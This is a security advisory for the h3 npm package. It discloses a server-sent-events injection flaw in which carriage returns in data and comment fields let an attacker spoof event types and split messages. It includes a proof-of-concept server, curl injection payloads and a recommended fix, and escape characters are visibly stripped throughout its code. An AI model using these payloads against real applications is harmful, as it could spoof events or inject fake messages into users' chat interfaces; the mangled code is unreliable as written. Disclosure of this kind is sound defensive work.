PT-2026-29171 · Npm · H3

Published

2026-03-20

·

Updated

2026-03-20

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

The EventStream class in h3 fails to sanitize carriage return (r) characters in data and comment fields. Per the SSE specification, r is a valid line terminator, so browsers interpret injected r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed injection but missed r-only injection.

Details

The prior fix in commit 7791538 added sanitizeSingleLine() to strip and r from id and event fields, and changed data formatting to split on . However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

typescript
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("
")) { // Only splits on 
, not r
 result += `data: ${line}
`;
}
String.prototype.split(" ") does not split on r. A string like "legitrevent: evil" remains as a single "line" and is emitted as:
data: legitrevent: evil
Per the SSE specification §9.2.6, r alone is a valid line terminator. The browser parses this as two separate lines:
data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

typescript
export function formatEventStreamComment(comment: string): string {
 return (
  comment
   .split("
") // Only splits on 
, not r
   .map((l) => `: ${l}
`)
   .join("") + "
"
 );
}
The same split(" ") pattern means r in comments is not handled. An input like "xrdata: injected" produces:
: xrdata: injected

Which the browser parses as a comment line followed by actual data:
: x
data: injected

Why sanitizeSingleLine doesn't help

The sanitizeSingleLine function at line 198 correctly strips both r and :
typescript
function sanitizeSingleLine(value: string): string {
 return value.replace(/[
r]/g, "");
}
But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:
javascript
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
 const stream = createEventStream(event);
 const { msg } = getQuery(event);

 // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
 await stream.push(String(msg));

 setTimeout(() => stream.close(), 1000);
 return stream.send();
}));

export default app;

Attack 1: Event type injection via r in data

bash
# Inject an "event: evil" directive via r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
Expected (safe) wire output:
data: legitrevent: evil

Browser parses as:
data: legit
event: evil
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

bash
# Inject a message boundary (rr = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
Browser parses as two separate events:
  1. Event 1: data: first
  2. Event 2: data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

bash
# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"
Browser parses as:
: x     (comment, ignored)
data: injected (real data, dispatched as event)

Impact

  • Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
  • Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
  • Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
  • Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on r, , and r — matching the SSE spec's line terminator definition.
typescript
// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE LINE SPLIT = /r
|r|
/;

export function formatEventStreamComment(comment: string): string {
 return (
  comment
   .split(SSE LINE SPLIT) // was: .split("
")
   .map((l) => `: ${l}
`)
   .join("") + "
"
 );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
 let result = "";
 if (message.id) {
  result += `id: ${ sanitizeSingleLine(message.id)}
`;
 }
 if (message.event) {
  result += `event: ${ sanitizeSingleLine(message.event)}
`;
 }
 if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
  result += `retry: ${message.retry}
`;
 }
 const data = typeof message.data === "string" ? message.data : "";
 for (const line of data.split(SSE LINE SPLIT)) { // was: data.split("
")
  result += `data: ${line}
`;
 }
 result += "
";
 return result;
}
This ensures all three SSE-spec line terminators (r , r, ) are properly handled as line boundaries, preventing r from being passed through to the browser where it would be interpreted as a line break.

Fix

Special Elements Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-4HXC-9384-M385

Affected Products

H3